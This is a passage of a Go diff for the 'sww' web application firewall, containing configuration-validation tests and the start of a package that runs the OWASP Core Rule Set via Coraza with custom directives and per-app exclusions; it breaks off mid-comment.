wafFromEnvironment(t, environment{ + rateLimitPerMinute: off, + rateLimitPerHour: off, + rateLimitPerDay: off, + }) + + if cfg.RateLimitPerMinute != 0 || cfg.RateLimitPerHour != 0 || + cfg.RateLimitPerDay != 0 { + t.Errorf( + "off read as %d, %d and %d", + cfg.RateLimitPerMinute, + cfg.RateLimitPerHour, + cfg.RateLimitPerDay, + ) + } +} + +func TestBanResponseCloseIsZero(t *testing.T) { + t.Parallel() + + cfg := wafFromEnvironment(t, environment{banResponse: "close"}) + if cfg.BanResponse != 0 { + t.Errorf("close read as %d, want 0", cfg.BanResponse) + } +} + +func TestInvalidValueStopsTheStart(t *testing.T) { + t.Parallel() + + wantStartStopped(t, []struct{ name, value string }{ + {listenAddr, "8080"}, {listenAddr, ":http"}, {listenAddr, ":65536"}, + {mode, "Observe"}, {mode, "block"}, {mode, ""}, + {ipv6GroupPrefix, "31"}, + {ipv6GroupPrefix, "129"}, {ipv6GroupPrefix, "/64"}, + {ipv6GroupPrefix, off}, {ipv6GroupPrefix, ""}, + {maxTrackedClients, "0"}, + {maxTrackedClients, "-1"}, {maxTrackedClients, off}, + {maxTrackedClients, "20K"}, + {allowNets, "192.0.2.0/24,monitoring"}, + {rateLimitExemptNets, "2001:db8::/129"}, + {denyNets, "198.51.100.0/24,"}, + {alertCooldown, "60"}, {alertCooldown, ""}, + {alertCooldown, "0s"}, + {alertCooldown, "2 minutes"}, + {alertCooldown, "1y"}, + {alertCooldown, "-1s"}, + {alertCooldown, "1.5d"}, + {bytesLimitPerMinute, "100MB"}, + {bytesLimitPerMinute, "100m"}, + {bytesLimitPerMinute, "1.5M"}, + {bytesLimitPerHour, "0"}, + {bytesLimitPerHour, "-5"}, + {bytesLimitPerHour, "99999999999G"}, + {rateLimitPerMinute, ""}, + {rateLimitPerMinute, "1K"}, + {rateLimitPerHour, "0"}, + {rateLimitPerHour, "1.5"}, + {rateLimitPerDay, "-1"}, {rateLimitPerDay, "lots"}, + {rateLimitExemptPaths, "/assets/,,/static/"}, + {bytesLimitPerMinute, "10GB"}, {bytesLimitPerHour, "0"}, + {bytesLimitPerDay, "-1G"}, + {bytesCounted, "all"}, {bytesCounted, "Both"}, {bytesCounted, ""}, + }) +} + +// TestInvalidLookupTagOrLogValueStopsTheStart goes on from +// TestInvalidValueStopsTheStart: the settings of the lookup, the biased +// thresholds, the tags, the metrics, the log and the rule files. +func TestInvalidLookupTagOrLogValueStopsTheStart(t *testing.T) { + t.Parallel() + + wantStartStopped(t, []struct{ name, value string }{ + {lookupSource, "ipinfo"}, + {lookupSource, "GeoJS"}, {lookupSource, ""}, + {asnAndCountryLookupTimeout, off}, {asnAndCountryLookupTimeout, "0"}, + {asnAndCountryLookupTimeout, "800ms"}, + {addLookupHeaders, "yes"}, + {allowedCountries, "nk"}, {allowedCountries, "kp,,ir"}, + {allowedCountries, "prk"}, {allowedCountries, "408"}, + {allowedCountries, "k"}, {allowedCountries, "eu"}, + {allowedCountries, "un"}, {allowedCountries, "su"}, + {allowedCountries, "ac"}, + {allowedCountries, "uk"}, + {allowedCountries, "zz"}, + {allowedCountries, "de,germany"}, + {asnBytesLimitPercent, "AS14061:50,,AS16276:50"}, + {asnBytesLimitPercent, "ASX:50"}, + { + asnBytesLimitPercent, + "AS14061:", + }, {asnBytesLimitPercent, "AS14061 :50"}, + { + asnBytesLimitPercent, + "AS14061:1.5", + }, {asnBytesLimitPercent, "AS-1:50"}, + {countryBytesLimitPercent, "cn"}, {countryBytesLimitPercent, "cn:"}, + { + countryBytesLimitPercent, + "cn:25:50", + }, {countryBytesLimitPercent, "china:25"}, + {tagDeny, "a,,b"}, {tagDeny, "country=nk"}, {tagDeny, "asn=abc"}, + {tagDeny, "asn="}, + {tagDeny, "torexit,TOREXIT"}, {tagDeny, "torexti"}, + {tagDeny, zenTag}, {tagDeny, "abuseipdb"}, + {tagLimitPercent, "torexti:50"}, + {tagLimitPercent, "dnsbl=zen.example:50"}, + {tagLimitPercent, "abuseipdb:50"}, + {tagLimitPercent, "vpn :50"}, + {tagLimitPercent, "vpn"}, {tagLimitPercent, ":50"}, + {tagLimitPercent, "vpn:"}, + {tagLimitPercent, "vpn:0"}, {tagLimitPercent, "vpn:100"}, + {tagLimitPercent, "vpn:1.5"}, {tagLimitPercent, "vpn:50,VPN:25"}, + {tagLimitPercent, "exploitsignature:50"}, + {tagLimitPercent, "asn=abc:50"}, + {tagLists, torExitTag}, {tagLists, "=https://example.com/a.txt"}, + {tagLists, "a,b=https://example.com/a.txt"}, + {tagLists, "a=ftp://example.com/a.txt"}, + { + tagLists, + "a=https://example.com/a.txt,A=https://example.com/b.txt", + }, + { + tagLists, + "a=https://example.com/a.txt,b=https://example.com/a.txt", + }, + { + asnBytesLimitPercent, + "AS14061:101", + }, {countryBytesLimitPercent, "su:50"}, + {unknownCountryLimitPercent, ""}, {unknownCountryLimitPercent, "-1"}, + {unknownCountryLimitPercent, "50%"}, + {metricsBusiestCountriesAndASNs, off}, + {metricsBusiestCountriesAndASNs, "0"}, + {metricsBusiestCountriesAndASNs, "-1"}, + {logRequestHeaders, "accept,,origin"}, + {logRequestHeaders, "accept;origin"}, + {logRequestHeaders, "accept language"}, + {logRequestHeaders, "x-foo:"}, + {logRequestHeaders, "host"}, {logRequestHeaders, "accept,Host"}, + {logRequestHeaders, "transfer-encoding"}, + {logRequestHeaders, "TRANSFER-ENCODING"}, + {logLevel, "INFO"}, + {logLevel, "warning"}, {logLevel, "trace"}, {logLevel, ""}, + {ruleFilesEnabled, "yes"}, {ruleFilesEnabled, "True"}, + }) + + wantExploitTagStopsTheStartWithRulesAndCoreRuleSetOff(t) +} + +// wantExploitTagStopsTheStartWithRulesAndCoreRuleSetOff checks that with rule +// files off, and either setting turning off the Core Rule Set, the tag +// exploitsignature in SWW_WAF_TAG_DENY stops the start. +func wantExploitTagStopsTheStartWithRulesAndCoreRuleSetOff(t *testing.T) { + t.Helper() + + for _, name := range []string{coreRuleSetMode, coreRuleSetScoreThreshold} { + _, err := config.WAFFromEnvironment(environment{ + tagDeny: exploitTag, ruleFilesEnabled: disabled, name: off, + }.viper()) + if err == nil || !strings.HasPrefix(err.Error(), tagDeny+": ") { + t.Errorf( + "%s=off with rule files off gave the error %v, want one naming %s", + name, + err, + tagDeny, + ) + } + } +} + +func TestInvalidBanOrStateValueStopsTheStart(t *testing.T) { + t.Parallel() + + wantStartStopped(t, []struct{ name, value string }{ + {banResponse, "404"}, {banResponse, "drop"}, {banResponse, ""}, + { + limitBanDuration, + off, + }, {limitBanDuration, "0s"}, {limitBanDuration, "1"}, + {limitBanRepeatWindow, off}, {limitBanRepeatWindow, "-1h"}, + { + limitBanPermanentAbove, + off, + }, {limitBanPermanentAbove, "1w"}, {attackBanDuration, off}, + {maxBans, off}, {maxBans, "0"}, {maxBans, "5K"}, + { + banScopeV4Prefix, + "33", + }, {banScopeV4Prefix, "-1"}, {banScopeV4Prefix, "/24"}, + {stateDir, ""}, {stateDir, "state"}, {stateDir, "./var/lib/sww"}, + {bansWriteDelay, off}, {bansWriteDelay, "0s"}, + {stateWriteInterval, off}, {stateWriteInterval, "15"}, + {cacheDir, ""}, {cacheDir, "cache"}, {cacheDir, "./var/cache/sww"}, + }) +} + +// wantStartStopped checks that each setting, set to its value, stops the +// start with an error that names the setting. +func wantStartStopped(t *testing.T, invalid []struct{ name, value string }) { + t.Helper() + + for _, tc := range invalid { + t.Run(tc.name+"="+tc.value, func(t *testing.T) { + t.Parallel() + + _, err := config.WAFFromEnvironment( + environment{tc.name: tc.value}.viper(), + ) + if err == nil { + t.Fatalf("%s=%q was accepted", tc.name, tc.value) + } + + if !strings.HasPrefix(err.Error(), tc.name+": ") { + t.Errorf("error %q does not name %s", err, tc.name) + } + }) + } +} + +func TestHostOrTransferEncodingStopsTheStart(t *testing.T) { + t.Parallel() + + // Only Host's message points to the field host. + for value, want := range map[string]string{ + "Host": `"Host" is taken out of every request by Go's HTTP server, ` + + "so it can never be logged; the request's host is the field host", + "transfer-encoding": `"transfer-encoding" is taken out of every ` + + "request by Go's HTTP server, so it can never be logged", + } { + t.Run(value, func(t *testing.T) { + t.Parallel() + + _, err := config.WAFFromEnvironment( + environment{logRequestHeaders: value}.viper(), + ) + if err == nil || err.Error() != logRequestHeaders+": "+want { + t.Errorf( + "error %v, want %s: %s", + err, + logRequestHeaders, + want, + ) + } + }) + } +} + +func TestShortTokenStopsTheStartWithoutShowingIt(t *testing.T) { + t.Parallel() + + // Characters are counted, not bytes: each é takes two. + for _, name := range []string{adminToken, metricsToken} { + for _, value := range []string{"", token[1:], strings.Repeat("é", 31)} { + t.Run(name+"="+value, func(t *testing.T) { + t.Parallel() + + _, err := config.WAFFromEnvironment( + environment{name: value}.viper(), + ) + + want := name + ": is shorter than 32 characters" + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + }) + } + } +} + +func TestTokensAreReadAndLoggedMasked(t *testing.T) { + t.Parallel() + + cfg := wafFromEnvironment( + t, + environment{adminToken: otherToken, metricsToken: token}, + ) + if cfg.AdminToken != otherToken || cfg.MetricsToken != token { + t.Errorf("admin token %q and metrics token %q, want %q and %q", + cfg.AdminToken, cfg.MetricsToken, otherToken, token) + } + + var out bytes.Buffer + + slog.New(slog.NewJSONHandler(&out, nil)). + Info("starting", "settings", cfg) + + logged := out.String() + if strings.Contains(logged, token) || + strings.Contains(logged, otherToken) || + !strings.Contains(logged, `"`+adminToken+`":"********"`) || + !strings.Contains(logged, `"`+metricsToken+`":"********"`) { + t.Errorf("the tokens are not logged masked: %s", logged) + } +} + +func TestSettingFromFileLosesOneNewlineAndNoMore(t *testing.T) { + t.Parallel() + + for contents, want := range map[string]string{ + token: token, + token + "\n": token, + token + "\n\n": token + "\n", + token + " \n": token + " ", + } { + cfg := wafFromEnvironment(t, environment{ + metricsToken + "_FILE": writeFile(t, contents), + }) + if cfg.MetricsToken != want { + t.Errorf( + "file holding %q gave %s %q, want %q", + contents, + metricsToken, + cfg.MetricsToken, + want, + ) + } + } +} + +func TestSettingFromFileIsCheckedAsTheSettingItself(t *testing.T) { + t.Parallel() + + _, err := config.WAFFromEnvironment(environment{ + bytesLimitPerMinute + "_FILE": writeFile(t, "lots\n"), + }.viper()) + + want := bytesLimitPerMinute + `: "lots" is not a size such as 512K, 100M or 5G, or off` + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + + _, err = config.WAFFromEnvironment(environment{ + logRemoteURL: remoteURL, + instanceName: instance, + logRemoteAppName + "_FILE": writeFile(t, "my app\n"), + }.viper()) + + want = logRemoteAppName + `: "my app" is not 1 to 48 printable ASCII ` + + `characters without a space, such as blog` + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } +} + +func TestSettingAndItsFileBothSetStopsTheStart(t *testing.T) { + t.Parallel() + + _, err := config.WAFFromEnvironment(environment{ + metricsToken: token, + metricsToken + "_FILE": writeFile(t, token), + }.viper()) + + want := metricsToken + ": is set, and so is " + metricsToken + + "_FILE; set only one of them" + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } +} + +func TestUnreadableSettingFileStopsTheStart(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + + for _, path := range []string{filepath.Join(dir, "missing"), dir} { + _, err := config.WAFFromEnvironment( + environment{metricsToken + "_FILE": path}.viper(), + ) + + want := metricsToken + "_FILE: cannot be read: " + if err == nil || !strings.HasPrefix(err.Error(), want) { + t.Errorf("%s: error %v, want one starting %s", path, err, want) + } + } +} + +func TestTokenFromFileIsLoggedMaskedWithTheFile(t *testing.T) { + t.Parallel() + + path := writeFile(t, token+"\n") + cfg := wafFromEnvironment(t, environment{metricsToken + "_FILE": path}) + + var out bytes.Buffer + + slog.New(slog.NewJSONHandler(&out, nil)). + Info("starting", "settings", cfg) + + var line struct { + Settings map[string]string `json:"settings"` + } + + err := json.Unmarshal(out.Bytes(), &line) + if err != nil { + t.Fatalf("decode %s: %v", out.Bytes(), err) + } + + if strings.Contains(out.String(), token) || + line.Settings[metricsToken] != "********" || + line.Settings[metricsToken+"_FILE"] != path { + t.Errorf( + "the token is not logged masked, with its file %s: %s", + path, + out.String(), + ) + } +} + +func TestRemoteLogCAFileIsNotReadAsAFileInItsTurn(t *testing.T) { + t.Parallel() + + cfg := wafFromEnvironment(t, environment{ + logRemoteTLSCAFile + "_FILE": writeFile(t, "/nonexistent/ca.pem\n"), + }) + if cfg.LogRemoteTLSCAs != nil { + t.Errorf("%s_FILE gave certificates", logRemoteTLSCAFile) + } +} + +// writeFile writes contents to a file in a directory of its own, removed +// when the test ends, and returns the file's path. +func writeFile(t *testing.T, contents string) string { + t.Helper() + + path := filepath.Join(t.TempDir(), "setting") + + err := os.WriteFile(path, []byte(contents), 0o600) + if err != nil { + t.Fatalf("write %s: %v", path, err) + } + + return path +} + +//nolint:funlen // one line for each setting, a list that grows with them +func TestLogsEachSettingWithItsValue(t *testing.T) { + t.Parallel() + + cfg := wafFromEnvironment(t, environment{rateLimitPerMinute: "45"}) + hostname, _ := os.Hostname() + + want := map[string]string{ + listenAddr: ":8080", + mode: "enforce", + ipv6GroupPrefix: "64", + maxTrackedClients: "20000", + allowNets: "", + rateLimitExemptNets: "", + denyNets: "", + rateLimitPerMinute: "45", + rateLimitPerHour: "1500", + rateLimitPerDay: "6000", + rateLimitExemptPaths: "", + bytesLimitPerMinute: "off", + bytesLimitPerHour: "50G", + bytesLimitPerDay: "100G", + bytesCounted: "both", + lookupSource: defaultLookupSource, + lookupDBPath: "", + asnAndCountryLookupTimeout: "800", + addLookupHeaders: enabled, + allowedCountries: "", + tagLists: "", + tagDeny: "", + tagLimitPercent: "", + asnBytesLimitPercent: "", + countryBytesLimitPercent: "", + unknownCountryLimitPercent: "100", + asnLimitPercentURL: "", + blocklistURLs: "", + blocklistRefresh: "24h", + blocklistAction: actionDeny, + dnsblZones: "", + dnsblResolver: "", + abuseIPDBKey: "", + abuseIPDBMinScore: "75", + abuseIPDBDailyBudget: "900", + dnsblAbuseIPDBAction: "limit:25", + ipReputationCacheTTL: defaultIPReputationCacheTTL, + dnsblAbuseIPDBTimeout: "2000", + routeWatchURL: "", + banResponse: "403", + limitBanDuration: "1h", + limitBanRepeatWindow: "24h", + limitBanPermanentAbove: "7d", + attackBanDuration: "7d", + maxBans: "5000", + banScopeV4Prefix: "32", + stateDir: "/var/lib/sww", + bansWriteDelay: "10s", + stateWriteInterval: "15m", + cacheDir: "/var/cache/sww", + adminToken: "", + metricsToken: "", + metricsBusiestCountriesAndASNs: "50", + instanceName: hostname, + logRequestHeaders: defaultLogRequestHeaders, + logLevel: "info", + ruleFilesDir: "/etc/sww/rules.d", + ruleFilesEnabled: "true", + coreRuleSetMode: config.CoreRuleSetModeBlock, + coreRuleSetParanoiaLevel: "1", + coreRuleSetScoreThreshold: "5", + coreRuleSetDisabledRules: defaultCoreRuleSetDisabledRules, + coreRuleSetExemptPaths: "", + coreRuleSetBodyInspectionSize: off, + exclusionsFile: "", + apps: "", // logged as null, which decodes as "" + trapPaths: "", + refusalsLimitPerMinute: "30", + logRemoteURL: "", + logRemoteTLSCAFile: "", + logRemoteBufferLines: "10000", + logRemoteFacility: "local0", + logRemoteAppName: hostname, + alertWebhookURL: "", + alertWebhookHeaders: "", + alertSlackWebhookURL: "", + alertNtfyURL: "", + alertNtfyToken: "", + alertEvents: defaultAlertEvents, + alertCooldown: defaultAlertCooldown, + alertMaxPerHour: "60", + } + maps.Copy(want, loggedAnomalyDefaults()) + + if got := loggedSettings(t, cfg); !maps.Equal(got, want) { + t.Errorf("logged settings\n%v\nwant\n%v", got, want) + } +} + +// loggedSettings returns the settings as cfg logs them, each by its name. +func loggedSettings(t *testing.T, cfg *config.WAF) map[string]string { + t.Helper() + + var out bytes.Buffer + + slog.New(slog.NewJSONHandler(&out, nil)). + Info("starting", "settings", cfg) + + var line struct { + Settings map[string]string `json:"settings"` + } + + err := json.Unmarshal(out.Bytes(), &line) + if err != nil { + t.Fatalf("decode %s: %v", out.Bytes(), err) + } + + return line.Settings +} + +// wantSettings checks the settings that are plain values. +func wantSettings(t *testing.T, got *config.WAF, want config.WAF) { + t.Helper() + + if got.ListenAddr != want.ListenAddr || + got.Observe != want.Observe || + got.RateLimitPerMinute != want.RateLimitPerMinute || + got.RateLimitPerHour != want.RateLimitPerHour || + got.RateLimitPerDay != want.RateLimitPerDay { + t.Errorf("settings\n%+v\nwant\n%+v", got, want) + } + + wantBanSettings(t, got, want) +} + +// wantByteLimitSettings checks the settings for the byte limits. +func wantByteLimitSettings( + t *testing.T, + got *config.WAF, + want config.WAF, +) { + t.Helper() + + if got.BytesLimitPerMinute != want.BytesLimitPerMinute || + got.BytesLimitPerHour != want.BytesLimitPerHour || + got.BytesLimitPerDay != want.BytesLimitPerDay || + got.BytesCounted != want.BytesCounted { + t.Errorf( + "byte limits %d, %d and %d counting %s, want %d, %d and %d counting %s", + got.BytesLimitPerMinute, + got.BytesLimitPerHour, + got.BytesLimitPerDay, + got.BytesCounted, + want.BytesLimitPerMinute, + want.BytesLimitPerHour, + want.BytesLimitPerDay, + want.BytesCounted, + ) + } +} + +// wantLookupSettings checks the settings for lookups. +func wantLookupSettings( + t *testing.T, + got *config.WAF, + want config.WAF, +) { + t.Helper() + + if got.LookupSource != want.LookupSource || + got.ASNAndCountryLookupTimeout != want.ASNAndCountryLookupTimeout || + got.AddLookupHeaders != want.AddLookupHeaders { + t.Errorf( + "lookups from %q, waited for %s, headers %t; want %q, %s, %t", + got.LookupSource, + got.ASNAndCountryLookupTimeout, + got.AddLookupHeaders, + want.LookupSource, + want.ASNAndCountryLookupTimeout, + want.AddLookupHeaders, + ) + } +} + +// wantBanSettings checks the settings for bans, the state and cache +// files, the metrics and the rule files. +func wantBanSettings(t *testing.T, got *config.WAF, want config.WAF) { + t.Helper() + + if got.BanResponse != want.BanResponse || + got.LimitBanDuration != want.LimitBanDuration || + got.LimitBanRepeatWindow != want.LimitBanRepeatWindow || + got.LimitBanPermanentAbove != want.LimitBanPermanentAbove || + got.AttackBanDuration != want.AttackBanDuration || + got.MaxBans != want.MaxBans || + got.BanScopeV4Prefix != want.BanScopeV4Prefix { + t.Errorf("ban settings\n%+v\nwant\n%+v", got, want) + } + + if got.RuleFilesDir != want.RuleFilesDir || + got.RuleFilesEnabled != want.RuleFilesEnabled { + t.Errorf( + "rule files in %q, on: %t, want %q, %t", + got.RuleFilesDir, + got.RuleFilesEnabled, + want.RuleFilesDir, + want.RuleFilesEnabled, + ) + } + + wantStateSettings(t, got, want) + + if got.MetricsToken != want.MetricsToken || + got.MetricsBusiestCountriesAndASNs != want.MetricsBusiestCountriesAndASNs { + t.Errorf( + "metrics token %q and top %d, want %q and %d", + got.MetricsToken, + got.MetricsBusiestCountriesAndASNs, + want.MetricsToken, + want.MetricsBusiestCountriesAndASNs, + ) + } +} + +// wantStateSettings checks the settings for the state and cache files. +func wantStateSettings( + t *testing.T, + got *config.WAF, + want config.WAF, +) { + t.Helper() + + if got.StateDir != want.StateDir || + got.BansWriteDelay != want.BansWriteDelay || + got.StateWriteInterval != want.StateWriteInterval || + got.CacheDir != want.CacheDir { + t.Errorf("state settings\n%+v\nwant\n%+v", got, want) + } +} + +// wantNetblocks checks a list of netblocks. +func wantNetblocks(t *testing.T, got []netip.Prefix, want ...string) { + t.Helper() + + gotText := make([]string, 0, len(got)) + for _, netblock := range got { + gotText = append(gotText, netblock.String()) + } + + if !slices.Equal(gotText, want) { + t.Errorf("netblocks %v, want %v", gotText, want) + } +} + +// wantCountries checks the list of countries the setting name gave. +func wantCountries(t *testing.T, name string, got []string, want ...string) { + t.Helper() + + if !slices.Equal(got, want) { + t.Errorf("%s gave %v, want %v", name, got, want) + } +} diff --git a/internal/coreruleset/coreruleset.go b/internal/coreruleset/coreruleset.go new file mode 100644 index 0000000..83ae46a --- /dev/null +++ b/internal/coreruleset/coreruleset.go @@ -0,0 +1,594 @@ +// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the +// method, the URL with its query and the headers of a request, and on its +// body while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, with the +// five changes sww makes to it, the fixes for the apps SWW_WAF_APPS names, +// and the exclusions in SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack +// detection" under "Settings" in SPEC.md describes them. It reads no response. +// +// sww writes only to its state directory, so Coraza is built with +// its no_fs_access tag, as the Dockerfile and script/build build it: of a +// file in a multipart body, Coraza then counts the bytes instead of +// writing them to the system's temporary directory. +package coreruleset + +import ( + _ "embed" + "errors" + "fmt" + "io" + "maps" + "net" + "net/http" + "net/netip" + "os" + "regexp" + "slices" + "strconv" + "strings" + + coreruleset "github.com/corazawaf/coraza-coreruleset/v4" + "github.com/corazawaf/coraza/v3" + "github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes" + "github.com/corazawaf/coraza/v3/types" +) + +// directives are the Core Rule Set as sww runs it, with the +// paranoia level for %d, bodyDirectives for the first %s while +// SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, the exclusions file for +// the second, and the directives of every app in apps for the third. +// Each rule sww adds has an id from 900000 to 900999, the ids the +// Core Rule Set keeps for the rules that set it up, which +// SWW_WAF_CORE_RULE_SET_DISABLED_RULES and the exclusions file refuse, so that no +// setting switches one off. Coraza joins a line ending in \ to the next, +// without the spaces at the start of the next. +const directives = ` +# The engine only detects. sww compares the request's anomaly +# score with SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD itself, in block and detect mode +# alike. It reads no body, unless bodyDirectives switch that on. +SecRuleEngine DetectionOnly +SecRequestBodyAccess Off +SecResponseBodyAccess Off + +Include @crs-setup.conf.example + +SecAction "id:900000,phase:1,pass,nolog,\ + setvar:tx.blocking_paranoia_level=%d" + +# The first change: PUT, PATCH and DELETE are allowed besides GET, HEAD, +# POST and OPTIONS. +SecAction "id:900200,phase:1,pass,nolog,\ + setvar:'tx.allowed_methods=GET HEAD POST OPTIONS PUT PATCH DELETE'" + +# The second: Expect and Content-Encoding are taken off the Core Rule Set's +# list of the headers it refuses. Content-Encoding goes back on it for a +# body the Core Rule Set reads (900260 in bodyDirectives). +SecAction "id:900250,phase:1,pass,nolog,\ + setvar:'tx.restricted_headers_basic=/proxy/ /lock-token/ /content-range/ \ + /if/ /x-http-method-override/ /x-http-method/ /x-method-override/ \ + /x-middleware-subrequest/'" +%s +# Coraza keeps the first 1000 query parameters of a request, and the first +# 1000 fields of a form data or JSON body, and drops the rest, which no +# rule then reads, so a request with more adds 5 to the score, as a rule +# the Core Rule Set rates critical does. Coraza's recommended +# configuration refuses such a request in its rules 200004 and 200005. +# This rule runs once the body is read, and before the Core Rule Set adds +# up the score in the same phase. +SecArgumentsLimit 1000 +SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\ + severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'" + +# The exclusions file comes before the rules, where the Core Rule Set puts +# its own file of exclusions that run before the rules, so that they run +# before the rules of phase 1 too. +%s + +# The apps' fixes come before the rules for the same reason. +%s + +# The fifth: only the rules for requests are loaded, and no response is +# inspected. +Include @owasp_crs/REQUEST-*.conf + +# The third: redirect_uri is not checked for a URL naming an IP address or +# localhost. Coraza matches a parameter name here without regard to case. +# ARGS holds the fields of a form data or multipart body Coraza reads as +# well as the query parameters, so a field of this name is left out too. +SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri" +SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri" + +# The fourth: Referer is not checked for a Unix command without arguments +# or for Java starting a process. +SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer" +SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer" +` + +// bodyDirectives have the Core Rule Set read the part of a request body +// Inspect gives it, which is at most one byte longer than the limit, up to +// the limit, %d bytes, and read JSON and XML as Coraza's recommended +// configuration has it in its rules 200000, 200001 and 200006, with +// text/json, and any application or text type ending in +xml or +json, +// besides; form data and multipart Coraza knows by itself. %% stands for +// a % Coraza reads. +const bodyDirectives = ` +SecRequestBodyAccess On +SecRequestBodyLimit %d +SecRequestBodyLimitAction ProcessPartial + +SecRule REQUEST_HEADERS:Content-Type \ + "@rx ^(?:application|text)/(?:[a-z0-9.-]+[+])?xml" \ + "id:900410,phase:1,pass,nolog,t:none,t:lowercase,ctl:requestBodyProcessor=XML" +SecRule REQUEST_HEADERS:Content-Type \ + "@rx ^(?:application|text)/(?:[a-z0-9.-]+[+])?json" \ + "id:900420,phase:1,pass,nolog,t:none,t:lowercase,ctl:requestBodyProcessor=JSON" + +# The rest of the second change: Content-Encoding is refused again on a +# body of a kind the Core Rule Set reads, since a compressed body cannot be +# inspected. +SecRule REQBODY_PROCESSOR "@rx ^(?:URLENCODED|MULTIPART|JSON|XML)$" \ + "id:900260,phase:1,pass,nolog,\ + setvar:'tx.restricted_headers_basic=%%{tx.restricted_headers_basic} \ + /content-encoding/'" + +# A body Coraza fails to parse (900440), and a multipart body that fails +# its strict checks (900450), each add 5 to the score, as a rule the Core +# Rule Set rates critical does: no rule reads what comes after the fault, +# which the app may still read. Coraza's recommended configuration refuses +# them in its rules 200002 and 200003. A multipart body the limit cuts +# before the colon of a part's header line, or between the carriage return +# and the line feed that end a part's header line or the empty line after +# its headers, adds 5 too, since Coraza takes the line the limit cuts for a +# malformed header. Coraza parses any form data body. +SecRule REQBODY_ERROR "!@eq 0" "id:900440,phase:2,pass,severity:'CRITICAL',\ + setvar:'tx.inbound_anomaly_score_pl1=+5'" +SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\ + severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'" +` + +// app is an app whose ordinary requests the Core Rule Set would refuse, +// with the fixes that let them pass. +type app struct { + // directives are Coraza exclusions, loaded before the Core Rule Set's + // rules. Their first rule skips to the marker they end with, unless + // Inspect sets the transaction variable named for the app, such as + // app_gitea. The skip reaches only phase 1, so a rule of a later phase + // must check that variable itself. + directives string + // cookies are the cookies the Core Rule Set reads a request without. + cookies []string + // forkOf names the app this one is a fork of, "" for none. A hostname + // that lists this app gets that app's fixes too. + forkOf string +} + +//go:embed gitea.conf +var giteaDirectives string + +//go:embed wordpress.conf +var wordpressDirectives string + +//go:embed drupal.conf +var drupalDirectives string + +//go:embed mediawiki.conf +var mediawikiDirectives string + +//go:embed mastodon.conf +var mastodonDirectives string + +//go:embed vaultwarden.conf +var vaultwardenDirectives string + +//go:embed nextcloud.conf +var nextcloudDirectives string + +//go:embed forgejo.conf +var forgejoDirectives string + +//go:embed ghost.conf +var ghostDirectives string + +// apps are the apps whose fixes sww has, by the name SWW_WAF_APPS gives each. +// flash is Forgejo's name for gitea_flash. +// +//nolint:gochecknoglobals // a constant cannot be a map +var apps = map[string]app{ + "drupal": {directives: drupalDirectives}, + "forgejo": { + directives: forgejoDirectives, + cookies: []string{"flash"}, + forkOf: "gitea", + }, + "ghost": {directives: ghostDirectives}, + "gitea": { + directives: giteaDirectives, + cookies: []string{"gitea_flash", "redirect_to"}, + }, + "mastodon": {directives: mastodonDirectives}, + "mediawiki": {directives: mediawikiDirectives}, + "nextcloud": {directives: nextcloudDirectives}, + "vaultwarden": {directives: vaultwardenDirectives}, + "wordpress": {directives: wordpressDirectives}, +} + +// AppNames returns the names of the apps whose fixes sww has, in +// alphabetical order. +func AppNames() []string { + return slices.Sorted(maps.Keys(apps)) +} + +// Params are what New needs. +type Params struct { + // ParanoiaLevel is SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL, from 1 to 4. + ParanoiaLevel int + // DisabledRules are the ids of the rules switched off + // (SWW_WAF_CORE_RULE_SET_DISABLED_RULES). + DisabledRules []int + // BodyInspectionSize is the most of a request body the Core Rule Set + // reads (SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE), 0 while it is off + // and it reads none. + BodyInspectionSize int64 + // ExclusionsFile is the path of a file of exclusions loaded before the + // Core Rule Set's rules (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while + // there is none. + ExclusionsFile string + // Apps are the names of the apps each hostname serves, by hostname in + // lowercase (SWW_WAF_APPS). A request gets only the fixes of its hostname's + // apps and of the apps they are forks of, or of every app while Apps is + // nil. + Apps map[string][]string +} + +// The ids of sww's own rules, which an exclusions file may not +// name. +const ( + firstOwnRuleID = 900000 + lastOwnRuleID = 900999 +) + +// numberOrRange matches a number, or a range of numbers such as +// 900000-900999. Coraza reads a number with a + before it too, so the +// end of a range may have one. +var numberOrRange = regexp.MustCompile(`(\d+)(?:-\+?(\d+))?`) + +// errSwwRuleID is the error of an exclusions file that names an +// id of sww's own rules. +var errSwwRuleID = errors.New("an id of sww's own rules") + +// errChangesNoRule is the error of an exclusions file that holds a +// directive that removes or changes rules as it loads, such as +// SecRuleRemoveById. The Core Rule Set's rules load after the file, so +// the directive finds none of them. +var errChangesNoRule = errors.New( + "the Core Rule Set's rules load after the file; " + + "switch a rule off with SWW_WAF_CORE_RULE_SET_DISABLED_RULES, or on some requests " + + "with a ctl exclusion", +) + +// directivesIn returns the directives in text as Coraza reads them: it +// skips blank lines and comment lines, and joins a line ending in \ to +// the next, without the spaces around either. +func directivesIn(text string) []string { + var directives []string + + joined := "" + + for line := range strings.Lines(text) { + line = strings.TrimSpace(line) + if line == "" || strings.HasPrefix(line, "#") { + continue + } + + if start, found := strings.CutSuffix(line, `\`); found { + joined += start + + continue + } + + directives = append(directives, joined+line) + joined = "" + } + + return directives +} + +// checkExclusions returns an error if exclusions, the text of an +// exclusions file, names an id of sww's own rules, alone or in a +// range, or holds a directive whose name starts with 